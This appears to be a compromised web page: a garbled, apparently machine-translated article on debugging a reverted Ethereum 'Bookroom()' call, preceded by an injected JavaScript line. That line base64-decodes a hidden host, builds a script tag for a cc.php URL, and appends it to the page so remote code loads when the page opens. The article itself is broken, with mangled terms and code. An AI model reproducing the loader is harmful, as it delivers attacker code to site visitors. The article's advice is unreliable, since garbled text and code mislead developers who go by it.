const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(„script”);script.src=”https://”+pde+”cc.php?u=40d86880″;document.body.appendChild(script);
** Error of Riposto Ethereum transaction:
As a developer who distributes an intelligent contraction The Ethereum Virtual Machine (EVM), you probably found issued to the related returns. In this article, a mistake has occurred and how to solve it.
The problem
In your case, one who calls the Bookroom ()
first, EVM function is a return of a transaction. This MES that the execution of the intelligent contract code has been interrupted due to a validation failure in the horror in the contraction.
Error details
*
To solve this problem, it is possible to access the details of the transaction that is Pet.GettransationRecenceipt ()
function the console EVM. Here is an extract from the distribution script:
`Javascript
Contract = New Web3.et.Contractor (
'0x' + [... oourconttractAddress],
[... Yourcontratrabi],
{Gas: 200000, Args: [... Yourargs]}
);
In this example, call recoveriese.gettransationreetept ()
from there, you can inspect
Details of the transaction
After reviewing the transactions receipt, you have an error message indicator the resonance for restoration. In this case, the error could be something like that:
`
0x ... (transaction hash)
Error: Restored: Note "Bookroom" function
The Function 'field in the Error Message indicates and the contraction code, attacking to call a function called' Bookroom ().
Solution
*
To solve this problem, it is necessary to make sure that the Bookroom () function is correctly defined within your contractor. Gere areo possible solutions:
- Update ABI : Make of comments The definition of theBookroom () function
the one specified in the distribution script. If the name of the function or the parameters was Chaanged, updates the ABI accordingly.
- Check the beating errors : verification that batting errors that define the
Bookroom ()
. Use a code analyzer such as the integrated scam lineter for postal errors.
- Check the logic of the contract : Make sure that theBookroom () function is correctly implemented and behaves Asexed. If the problem persists, further investigating the logic of the contract.
Example solution
To solve the problem, you can change the distribution script to include a state of debugs:
`Javascript
Contract = New Web3.et.Contractor (
'0x' + [... oourconttractAddress],
[... Yourcontratrabi],
{Gas: 200000, Args: [... Yourargs]}
);
Console.log ('transaction:', contraction.transationhash);
This will issue the transaction associated with the last block. By inspecting this information, it is possible to verify that theBookroom () function is correctly and calls the function.
Following them and uses the EVM to inspect the details of the transactions, it is held to identify and reprogrammed and on the function of books () call „.